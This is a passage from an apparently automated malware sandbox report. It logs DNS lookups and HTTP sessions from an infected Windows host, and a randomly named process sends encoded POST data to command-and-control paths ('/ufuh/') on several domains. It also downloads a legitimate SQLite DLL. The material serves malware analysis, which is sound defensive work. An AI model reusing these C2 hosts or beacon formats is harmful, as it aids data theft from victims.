May 2, 2024 08:29:50.348968983 CEST	192.168.2.22	8.8.8.8	0xd9b1	Standard query (0)	www.riveramayahousing.com	A (IP address)	IN (0x0001)	false
May 2, 2024 08:30:03.719363928 CEST	192.168.2.22	8.8.8.8	0xd026	Standard query (0)	www.exclaimer342200213.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 2, 2024 08:26:08.222877026 CEST	8.8.8.8	192.168.2.22	0xc13a	No error (0)	universalmovies.top		104.21.74.191	A (IP address)	IN (0x0001)	false
May 2, 2024 08:26:08.222877026 CEST	8.8.8.8	192.168.2.22	0xc13a	No error (0)	universalmovies.top		172.67.162.95	A (IP address)	IN (0x0001)	false
May 2, 2024 08:26:51.608325005 CEST	8.8.8.8	192.168.2.22	0x7f30	Name error (3)	www.besthomeincome24.com	none	none	A (IP address)	IN (0x0001)	false
May 2, 2024 08:26:56.775614023 CEST	8.8.8.8	192.168.2.22	0x702f	No error (0)	www.terelprime.com		66.96.161.166	A (IP address)	IN (0x0001)	false
May 2, 2024 08:27:01.725507021 CEST	8.8.8.8	192.168.2.22	0xd00d	No error (0)	www.sqlite.org		45.33.6.223	A (IP address)	IN (0x0001)	false
May 2, 2024 08:27:12.094806910 CEST	8.8.8.8	192.168.2.22	0x9223	Name error (3)	www.99b6q.xyz	none	none	A (IP address)	IN (0x0001)	false
May 2, 2024 08:27:15.493933916 CEST	8.8.8.8	192.168.2.22	0x1442	Name error (3)	www.99b6q.xyz	none	none	A (IP address)	IN (0x0001)	false
May 2, 2024 08:27:18.893646002 CEST	8.8.8.8	192.168.2.22	0xd049	Name error (3)	www.99b6q.xyz	none	none	A (IP address)	IN (0x0001)	false
May 2, 2024 08:27:22.374011993 CEST	8.8.8.8	192.168.2.22	0xe68	Name error (3)	www.99b6q.xyz	none	none	A (IP address)	IN (0x0001)	false
May 2, 2024 08:27:29.855329990 CEST	8.8.8.8	192.168.2.22	0xbad2	No error (0)	www.kinkynerdspro.blog		94.23.162.163	A (IP address)	IN (0x0001)	false
May 2, 2024 08:27:43.612377882 CEST	8.8.8.8	192.168.2.22	0xf4cb	No error (0)	www.xn--matfrmn-jxa4m.se		194.9.94.86	A (IP address)	IN (0x0001)	false
May 2, 2024 08:27:43.612377882 CEST	8.8.8.8	192.168.2.22	0xf4cb	No error (0)	www.xn--matfrmn-jxa4m.se		194.9.94.85	A (IP address)	IN (0x0001)	false
May 2, 2024 08:27:57.229892015 CEST	8.8.8.8	192.168.2.22	0x3b08	No error (0)	www.primeplay88.org	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)	false
May 2, 2024 08:27:57.229892015 CEST	8.8.8.8	192.168.2.22	0x3b08	No error (0)	parkingpage.namecheap.com		91.195.240.19	A (IP address)	IN (0x0001)	false
May 2, 2024 08:28:10.923126936 CEST	8.8.8.8	192.168.2.22	0x7a6a	No error (0)	www.aceautocorp.com	aceautocorp.com		CNAME (Canonical name)	IN (0x0001)	false
May 2, 2024 08:28:10.923126936 CEST	8.8.8.8	192.168.2.22	0x7a6a	No error (0)	aceautocorp.com		198.12.241.35	A (IP address)	IN (0x0001)	false
May 2, 2024 08:28:32.003340006 CEST	8.8.8.8	192.168.2.22	0x4557	No error (0)	www.mrart.co.kr	mrart.co.kr		CNAME (Canonical name)	IN (0x0001)	false
May 2, 2024 08:28:32.003340006 CEST	8.8.8.8	192.168.2.22	0x4557	No error (0)	mrart.co.kr		183.111.183.31	A (IP address)	IN (0x0001)	false
May 2, 2024 08:28:47.181309938 CEST	8.8.8.8	192.168.2.22	0x42ea	No error (0)	www.touchclean.top		67.223.117.189	A (IP address)	IN (0x0001)	false
May 2, 2024 08:29:08.749180079 CEST	8.8.8.8	192.168.2.22	0x1bd8	No error (0)	www.ibistradingco.com	www.ibistradingco.com.cdn.hstgr.net		CNAME (Canonical name)	IN (0x0001)	false
May 2, 2024 08:29:08.749180079 CEST	8.8.8.8	192.168.2.22	0x1bd8	No error (0)	www.ibistradingco.com.cdn.hstgr.net		154.41.250.58	A (IP address)	IN (0x0001)	false
May 2, 2024 08:29:27.634426117 CEST	8.8.8.8	192.168.2.22	0x6bb2	No error (0)	www.jnkinteractive.co.kr	jnkinteractive.co.kr		CNAME (Canonical name)	IN (0x0001)	false
May 2, 2024 08:29:27.634426117 CEST	8.8.8.8	192.168.2.22	0x6bb2	No error (0)	jnkinteractive.co.kr		183.111.183.31	A (IP address)	IN (0x0001)	false
May 2, 2024 08:29:42.028947115 CEST	8.8.8.8	192.168.2.22	0x1486	Name error (3)	www.chrisdomond.com	none	none	A (IP address)	IN (0x0001)	false
May 2, 2024 08:29:43.135082006 CEST	8.8.8.8	192.168.2.22	0xd063	Name error (3)	www.chrisdomond.com	none	none	A (IP address)	IN (0x0001)	false
May 2, 2024 08:29:44.240052938 CEST	8.8.8.8	192.168.2.22	0xa6bb	Name error (3)	www.chrisdomond.com	none	none	A (IP address)	IN (0x0001)	false
May 2, 2024 08:29:45.350110054 CEST	8.8.8.8	192.168.2.22	0xfc39	Name error (3)	www.chrisdomond.com	none	none	A (IP address)	IN (0x0001)	false
May 2, 2024 08:29:50.478497982 CEST	8.8.8.8	192.168.2.22	0xd9b1	No error (0)	www.riveramayahousing.com		208.91.197.13	A (IP address)	IN (0x0001)	false
May 2, 2024 08:30:03.932369947 CEST	8.8.8.8	192.168.2.22	0xd026	No error (0)	www.exclaimer342200213.net	exclaimer342200213.net		CNAME (Canonical name)	IN (0x0001)	false
May 2, 2024 08:30:03.932369947 CEST	8.8.8.8	192.168.2.22	0xd026	No error (0)	exclaimer342200213.net		84.33.215.91	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

universalmovies.top

www.terelprime.com

www.sqlite.org

www.kinkynerdspro.blog

www.xn--matfrmn-jxa4m.se

www.primeplay88.org

www.aceautocorp.com

www.mrart.co.kr

www.touchclean.top

www.ibistradingco.com

www.jnkinteractive.co.kr

www.riveramayahousing.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49164	66.96.161.166	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:26:56.872559071 CEST	467	OUT	GET /ufuh/?pl=YGhnx96XAVFPN8tw+HM+ERdVPj6qvRaWteKDUnkDVIOF49Ku923zFB1LHsiTDOOJR3oxDyM0OU58BlZHZbBCNvk4uEj8jDacBIFePGWcdtykoT8enibuKQ6eq0+l&5h1t=6H6PKFvXjtI4u8k HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.terelprime.com User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
May 2, 2024 08:26:56.974514961 CEST	1087	IN	HTTP/1.1 404 Not Found Date: Thu, 02 May 2024 06:26:56 GMT Content-Type: text/html Content-Length: 867 Connection: close Server: Apache Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT Accept-Ranges: bytes Age: 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 [TRUNCATED] Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> <script type="text/javascript" language="JavaScript"> var url = 'http://www.searchvity.com/?dn=' + document.domain + '&pid=9POL6F2H4'; $(document).ready(function() { $('#ad_frame').attr('src', url); }); </script> </head> <body> <iframe id="ad_frame" src="http://www.searchvity.com/" frameborder="0" scrolling="no"> ... browser does not support iframe's --> </iframe> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49165	45.33.6.223	80	3372	C:\Windows\SysWOW64\dfrgui.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:27:01.873955011 CEST	248	OUT	GET /2019/sqlite-dll-win32-x86-3290000.zip HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Host: www.sqlite.org Connection: Keep-Alive Cache-Control: no-cache
May 2, 2024 08:27:02.009665966 CEST	249	IN	HTTP/1.1 200 OK Connection: keep-alive Date: Thu, 02 May 2024 06:27:01 GMT Last-Modified: Thu, 03 Oct 2019 16:46:08 GMT Cache-Control: max-age=120 ETag: "m5d9625d0s76a84" Content-type: application/zip; charset=utf-8 Content-length: 486020
May 2, 2024 08:27:02.009699106 CEST	1289	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 2d 09 eb 4e 4f a9 ef 3a 34 05 00 00 cf 15 00 00 0b 00 1c 00 73 71 6c 69 74 65 33 2e 64 65 66 55 54 09 00 03 d5 29 26 5d d5 29 26 5d 75 78 0b 00 01 04 e8 03 00 00 04 e8 03 00 00 85 98 cd 92 dc 28 0c 80 ef 79 9b 64 b6 Data Ascii: PK-NO:4sqlite3.defUT)&])&]ux(ydrTv{sa,3==Ot4'BHB?2ms&GJ!<;`g!1(i)ClW.fk>Q24k;g)o<N56i8gBqA
May 2, 2024 08:27:02.009749889 CEST	1289	IN	Data Raw: 0b 58 30 eb 84 32 eb 0d 9a a8 35 f9 63 ad 64 b5 c7 55 9c bf ba e4 5a 38 5b 95 89 fe 17 53 e7 4f 12 e6 df d8 e8 bd 7c c3 74 38 d1 e9 99 ed b3 f4 18 61 53 0c eb 9f bf 11 b1 d5 b3 34 3d 1e 0b f6 30 32 d0 ca 66 20 23 d7 3b 90 b6 9b f2 47 e6 64 11 53 Data Ascii: X025cdUZ8[SO\|t8aS4=02f #;GdS'jfP?]Zo4+}PK-Nd{"sqlite3.dllUT)&])&]ux\|T89I&a0#DJ5h3&$ Qj^E8'i=
May 2, 2024 08:27:02.009819984 CEST	1289	IN	Data Raw: 30 a2 e4 2f 35 27 c4 38 f9 8a 45 ba 03 73 90 c7 d3 78 fc fa 5c f4 6b 6c e2 d3 5f 47 22 90 08 13 6c 76 fd bd 25 0e 6b 81 2e 46 e4 3d 29 44 85 51 28 69 52 3e ba 05 c1 ab 9b a0 3e c5 1b 89 29 0b d3 5d fe 92 7a 53 14 80 b8 2b 16 ee d5 f9 ac 32 98 a9 Data Ascii: 0/5'8Esx\kl_G"lv%k.F=)DQ(iR>>)]zS+2H7W8k{*+,k7u3$Dzk7~{:p$Q_WDOOJK\:2%Tp 1^6_nL6~P`FC=)X;@Mq6fVG=.
May 2, 2024 08:27:02.009924889 CEST	1289	IN	Data Raw: ee 6a c0 2d 2a a8 4d c4 34 31 61 a0 53 ee 30 0d 1c 97 03 ed 26 5a 78 92 70 64 09 2f 25 c8 7b 23 ee 53 e2 77 e4 c0 7e 13 e3 57 a5 79 d0 2c a9 db 2d ed 59 77 23 f5 b5 73 9d 42 bd dd 18 06 d1 66 f1 f5 b8 7d dd e5 3d ae 0e c0 7d cc bd 5a ea 99 4a da Data Ascii: j-M41aS0&Zxpd/%{#Sw~Wy,-Yw#sBf}=}ZJ+nK)a{ONB}=S-W5.5W'\|JVq$faSv{RxeVC\u[S>Wxsb^,h<7))
May 2, 2024 08:27:02.010009050 CEST	1289	IN	Data Raw: 8e cf 4b 42 9f fb 42 9d f7 3c bf ef 42 e9 e7 33 db 9a 16 66 d9 d7 fd 8b c1 23 34 d1 45 c8 62 4e 21 ed ae 8e 81 8b f4 71 d9 56 73 42 d2 60 d6 1f de 92 f5 86 60 32 95 4f 87 19 3c d4 a8 5a e4 33 09 42 7d 9e c5 76 78 50 0e 71 5a 06 69 57 d6 72 1f 07 Data Ascii: KBB<B3f#4EbN!qVsB``2O<Z3B}vxPqZiWrPp+(/Os76%x@j?MzMy)alun4B^IEK~x}"UK9A%9sYNnCRyr&7I+"N"[pcIAq&`cS
May 2, 2024 08:27:02.010078907 CEST	1289	IN	Data Raw: 3b 19 9e 1e 81 16 4f 2a 93 2b e6 98 2a 12 a8 a7 00 e6 b1 98 7a b3 e5 4c 93 b8 40 f1 87 5a 7c 21 5d a0 ee 66 da e4 09 3d 6c df cd a7 32 4e c3 eb a4 d9 02 9c e3 b1 a9 81 6e dc 11 90 38 ca cd 11 f9 58 84 cc 47 7c e3 d5 e1 e4 44 13 22 96 36 29 4b fe Data Ascii: ;O+zL@Z\|!]f=l2Nn8XG\|D"6)Kt#C6HOnTZUB(GLdk7iL}THE'*XVi_,N,0sb^YZ)!C(IKlWJcLw!pC<ws@yV
May 2, 2024 08:27:02.011259079 CEST	1289	IN	Data Raw: 8a e9 4b 80 19 57 fc 83 6a 67 18 39 c5 41 ea bf 1a bb ed a5 7d 6e fa dc 91 f6 79 49 a7 fa 04 f2 61 be 10 f1 77 9f 7e 01 c4 c7 ce d3 e1 cf 3b 37 ce 93 6e 23 cd e4 18 ec 62 5b 8e 61 c3 e4 48 64 6d 9c 3c f2 75 f9 54 62 01 66 13 b0 b1 ec 66 cf 03 72 Data Ascii: KWjg9A}nyIaw~;7n#b[aHdm<uTbffr+M5a(L/< fYEC5Ig~}@y7SJQ&o9>iIpgvCd/5tV#Lh\_N:b;]7&72zN#
May 2, 2024 08:27:02.011342049 CEST	1289	IN	Data Raw: d5 e5 be 14 98 b8 7a d8 99 4b 2b dd fc 84 05 bc f6 8f 9b 79 2e d5 94 e8 05 a4 ea f5 10 af 53 37 1e 8b b6 a5 d9 e3 30 b1 ad a7 24 aa 3b 2b 06 5e 74 a0 19 52 78 29 8f 56 58 49 d3 8e 6a b4 f7 19 54 ff 2b c4 b4 f9 53 76 10 fd fd f5 10 9e 04 c0 c4 5f Data Ascii: zK+y.S70$;+^tRx)VXIjT+Sv_l]>@LM%^~i7SmLi-A8V6K^ud~+Uqi,1mj;=08l)_jzZWh Sov9no89ab:Rmrp8Nkx,Y:R*
May 2, 2024 08:27:02.011445045 CEST	1289	IN	Data Raw: dc 68 d6 4e 34 86 cc ae 0e f5 3e d8 ce 40 d6 cd 90 f7 d8 c6 59 5e 91 83 c8 46 d9 50 eb 08 5b f7 12 be 8c da 72 a1 04 2e eb 92 9e c0 6d c0 d7 95 65 d9 56 48 b3 48 a1 4a 17 a4 22 fb e4 80 fd 26 95 f2 bf 52 cb bb 74 94 53 c5 04 af 76 28 c6 9a c0 36 Data Ascii: hN4>@Y^FP[r.meVHHJ"&RtSv(68&l+otOy\|C2"J%CO''_&z~Kft"lx~i!}}%"(d(kj*G57j)Y73mH9s"<If{
May 2, 2024 08:27:02.145319939 CEST	1289	IN	Data Raw: 62 d0 73 ed fd 2d 67 4c 9e 20 f0 09 ef a3 da fb ca 7b b0 c8 7c dd d2 24 c8 c1 0c 96 f0 56 90 c6 a3 a1 22 7d 14 cd a7 81 85 ed 66 02 73 62 73 e2 61 fa 28 de f3 48 c2 a4 9f 23 d2 bb e8 02 be 7f 8f 55 9c f9 6e 2a 20 b3 af bb 85 5d 03 a6 8f 3a 30 07 Data Ascii: bs-gL {\|$V"}fsbsa(H#Un* ]:0biD<%R&]0VY/h*]ZvQI/9>z0GhdWG@sa+iH]h,8fJlI<^ C+\P=^>;];Q<+FX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49166	94.23.162.163	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:27:30.028881073 CEST	2578	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 2159 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.kinkynerdspro.blog Origin: http://www.kinkynerdspro.blog Referer: http://www.kinkynerdspro.blog/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 53 38 6f 6e 68 39 36 57 74 75 52 2f 45 32 71 62 32 65 4c 53 47 74 5a 47 78 57 6e 4b 49 33 78 68 48 77 41 32 4b 4e 45 67 65 67 34 59 49 54 43 56 57 45 79 7a 75 4c 39 47 75 77 37 69 54 6e 77 56 72 2f 78 59 6b 6c 6d 54 6f 62 67 6e 4b 59 70 51 57 61 57 67 39 76 57 63 4f 51 68 57 38 5a 67 55 73 4f 52 72 58 69 39 39 38 2b 56 70 63 78 63 6e 4d 4f 71 52 62 32 31 41 31 41 69 7a 5a 69 4f 53 43 35 30 52 44 54 57 41 67 6d 44 6b 46 49 39 76 58 4c 39 50 56 2f 41 79 4d 64 57 63 30 75 42 64 2f 4a 50 70 32 47 56 75 6b 62 43 6b 32 68 6f 67 75 6d 33 70 51 42 4c 62 4d 66 43 46 62 6b 77 4c 4f 36 69 4b 6f 46 4a 53 70 65 64 37 4a 72 73 58 67 4c 6c 61 57 4d 6d 47 66 53 4e 2b 4c 36 7a 63 78 37 58 33 39 35 55 6b 46 53 2b 69 41 4f 6d 44 58 62 33 6b 66 30 62 56 71 32 51 49 59 6e 57 4b 76 74 57 48 45 48 76 51 39 73 43 52 77 78 66 68 6a 4b 4d 6c 7a 6f 48 5a 47 75 66 78 39 50 58 52 36 78 71 44 39 56 6f 72 51 43 4d 35 52 78 31 71 4d 73 73 4f 61 51 6e 43 6b 67 63 4b 70 43 6f 73 69 69 54 69 44 69 33 76 5a 43 4f 70 39 41 30 [TRUNCATED] Data Ascii: pl=S8onh96WtuR/E2qb2eLSGtZGxWnKI3xhHwA2KNEgeg4YITCVWEyzuL9Guw7iTnwVr/xYklmTobgnKYpQWaWg9vWcOQhW8ZgUsORrXi998+VpcxcnMOqRb21A1AizZiOSC50RDTWAgmDkFI9vXL9PV/AyMdWc0uBd/JPp2GVukbCk2hogum3pQBLbMfCFbkwLO6iKoFJSped7JrsXgLlaWMmGfSN+L6zcx7X395UkFS+iAOmDXb3kf0bVq2QIYnWKvtWHEHvQ9sCRwxfhjKMlzoHZGufx9PXR6xqD9VorQCM5Rx1qMssOaQnCkgcKpCosiiTiDi3vZCOp9A0mfyqWuXqeMyuOHd9aFLQYFq0ZfNiPhZDVabL9o1k6Sy4RShe0aOqWYNsXIAxVsVJ5jQidcIww9K0uYI6nbr/QRXFRS31On9a59ERp4xDBfnW5gLHSkkVz8k6UFeBhpo/6tHzlv8bHTaZ6kkXFcRnzyjcYQS2Cq1EUBPx7VFgqjnmVNt7PvOgxauqQE/soFQFT0MZmiqZJcj099bXK+sLyEvRARbHnaaiUfbcSQiIaP1mX/HBcdnCGC9T3oeJaEs/jcmMtoSf9EzzB2SB7WDglbG3h6CLw5LuCZSjW4reiuLGCWBtoS3AnjH6AwrfOWU/KUa7Zmj2cq8W1kNxYzfY2iQPpeM1nrID4kpI1308/+PsBOdXzMxpELOmttmxNfjMKcCzjjdrDadQLX38yoIEtGjflKN9tEzATE77AEHs7qP6ae9iiB3pcfwCR61tQmgQopch+VrVNvIn9PYmqhEfnXu/sFRW1/+77qiJee3kzUDAPhKbgvHdQ/Rhhddt+uNnsu9oUnjXkPup5K360RZSaZB8NDf6nt6/ZbWeY7W9VfgJwZgBjqAcghjg1eVl3Lq6pKt01tAqz9qmJsFU0dn6bA/F1IccVFUvMrFH/JX/rhMzkHCFbfyFpS0t7jqoWNPf90AsRDau0G8eF2y09/0DEUTmO7LFsMHhg7 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49167	94.23.162.163	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:27:32.722992897 CEST	738	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 199 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.kinkynerdspro.blog Origin: http://www.kinkynerdspro.blog Referer: http://www.kinkynerdspro.blog/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 53 38 6f 6e 68 39 36 57 74 75 52 2f 45 31 53 62 33 4b 66 53 41 39 5a 47 6c 32 6e 4b 47 58 78 6e 48 33 49 2b 4b 49 39 39 65 52 77 59 49 6d 2b 56 57 32 61 7a 2b 62 39 46 6b 51 37 63 65 48 78 66 72 2f 77 4a 6b 6e 79 54 6f 62 30 6e 46 62 42 51 48 4c 57 6a 69 76 57 65 46 77 68 62 38 5a 73 6e 73 4f 74 37 58 6a 46 39 38 39 42 70 66 31 41 6e 4a 74 43 52 4c 32 31 5a 2b 67 69 6b 5a 69 79 39 43 35 6b 6a 44 53 61 41 67 58 50 6b 46 64 78 76 51 63 4a 50 63 66 41 7a 57 74 58 6f 31 74 6b 6d 36 70 58 31 71 31 30 4c 6c 4b 57 68 39 7a 45 32 73 77 50 59 47 6a 6a 4c 56 4c 57 4c 64 57 31 6e 59 41 3d 3d Data Ascii: pl=S8onh96WtuR/E1Sb3KfSA9ZGl2nKGXxnH3I+KI99eRwYIm+VW2az+b9FkQ7ceHxfr/wJknyTob0nFbBQHLWjivWeFwhb8ZsnsOt7XjF989Bpf1AnJtCRL21Z+gikZiy9C5kjDSaAgXPkFdxvQcJPcfAzWtXo1tkm6pX1q10LlKWh9zE2swPYGjjLVLWLdW1nYA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49168	94.23.162.163	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:27:35.405441046 CEST	2578	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 3623 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.kinkynerdspro.blog Origin: http://www.kinkynerdspro.blog Referer: http://www.kinkynerdspro.blog/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 53 38 6f 6e 68 39 36 57 74 75 52 2f 46 57 61 62 79 72 66 53 58 74 5a 48 38 32 6e 4b 49 33 78 6a 48 77 41 2b 4b 4e 45 67 65 6c 55 59 49 56 57 56 52 55 79 7a 74 4c 39 46 69 51 37 69 54 6e 77 55 72 2f 55 46 6b 6c 61 70 6f 59 59 6e 4b 63 46 51 57 64 4b 67 74 2f 57 63 42 77 68 55 38 5a 73 79 73 4f 64 33 58 6a 42 45 38 39 5a 70 66 6e 59 6e 50 64 43 4f 56 6d 31 5a 2b 67 69 6f 5a 69 7a 75 43 35 38 37 44 57 58 48 67 68 4c 6b 47 34 39 76 41 4c 39 4d 58 2f 42 34 49 64 57 6f 30 75 39 73 2f 4a 50 58 32 47 77 46 6b 62 4f 6b 33 30 38 67 75 68 72 71 4d 68 4c 55 53 66 43 46 56 45 77 4a 4f 36 6a 56 6f 46 4a 53 70 65 4a 37 47 62 73 58 67 4b 6c 64 56 38 6d 47 44 43 4e 6e 50 36 75 6c 78 37 53 55 39 34 6c 54 47 68 53 69 42 4d 4f 44 47 62 33 6b 4f 30 61 65 71 32 51 2f 44 33 57 67 76 70 37 34 45 48 66 36 39 73 43 52 77 33 4c 68 31 2f 34 6c 36 59 48 5a 4f 4f 66 79 76 50 58 53 36 78 75 78 39 56 4d 72 51 47 59 35 51 42 46 71 64 4f 30 42 56 41 6e 42 67 67 63 49 74 43 70 32 69 6a 2f 45 44 69 2f 4a 5a 42 47 70 39 43 63 [TRUNCATED] Data Ascii: pl=S8onh96WtuR/FWabyrfSXtZH82nKI3xjHwA+KNEgelUYIVWVRUyztL9FiQ7iTnwUr/UFklapoYYnKcFQWdKgt/WcBwhU8ZsysOd3XjBE89ZpfnYnPdCOVm1Z+gioZizuC587DWXHghLkG49vAL9MX/B4IdWo0u9s/JPX2GwFkbOk308guhrqMhLUSfCFVEwJO6jVoFJSpeJ7GbsXgKldV8mGDCNnP6ulx7SU94lTGhSiBMODGb3kO0aeq2Q/D3Wgvp74EHf69sCRw3Lh1/4l6YHZOOfyvPXS6xux9VMrQGY5QBFqdO0BVAnBggcItCp2ij/EDi/JZBGp9CcmdTqWuHqZYiuKN4leFLIHFqxkfOmPgLrVOIz601lQVy4bERfLaNGoYMgXJx5VtR95oH+eUYw35K0DD46zbrrYRX5BSCJOnNa58iNukxCJSHWv67GVkkVN8mjhFMRhprX6uVrlv8bEWaZgqEb3cRr/yg4IQUSCrmcUBMp7OVgq5XmSU977vOFKauztEPIoAGhT2OxmrqZPRD08y7XX+sbyErQLRbvnUfaUe4ESfCIeDVmE/HB6dnOCC9DNocdaEt/jUHMtlyf4GzzFySANWDp4bGKM6Gfw5veCfjjWiLeggbGCYhtwSztajF/3wp/OXlvKca7e5D2bo8W219wBzfI2iQTpePln3pD4yII1+k89wvsHbtbTMxY9LLK9tgBNf3gKVgrkvNqpMtQRdX8OoIEpGh/TK4JtEHUTI/PDGns89f6NQdjdB356fyeB7CdQmggopPJ+VbVNvIn+PYmuhEDZXvPGFRW1/v77qQReVXk6WDAflKbEvHRi/QJPdZd+h5zsu9oXqzXnV+p+K3GtRZS4ZBgNDN2nsvjZawiY829VPAJxMwBuqAd9hmRyeXd3KbapJrIqhQqw/qmf+FYRdnm5A+N1IvIVEEDMq1H/DX/o48zxIiZHfyJDS19rjfMWL8n92BsQPKu1bMeb2y4e/07MUTfs7MRsMnhg5 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49169	94.23.162.163	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:27:38.140760899 CEST	471	OUT	GET /ufuh/?pl=f+AHiK2Co9o+PjKa95eLWuYGzAnlJ1JKF0U6Lu5lfhAIXWifWEmzyo1tk2ryUUFbnpUI1yrkhJgLANJ0QoKTotmHPxBrzP8E8/tDVQZOz/lyKkl1Bs+TKl0SxUzf&5h1t=6H6PKFvXjtI4u8k HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.kinkynerdspro.blog User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
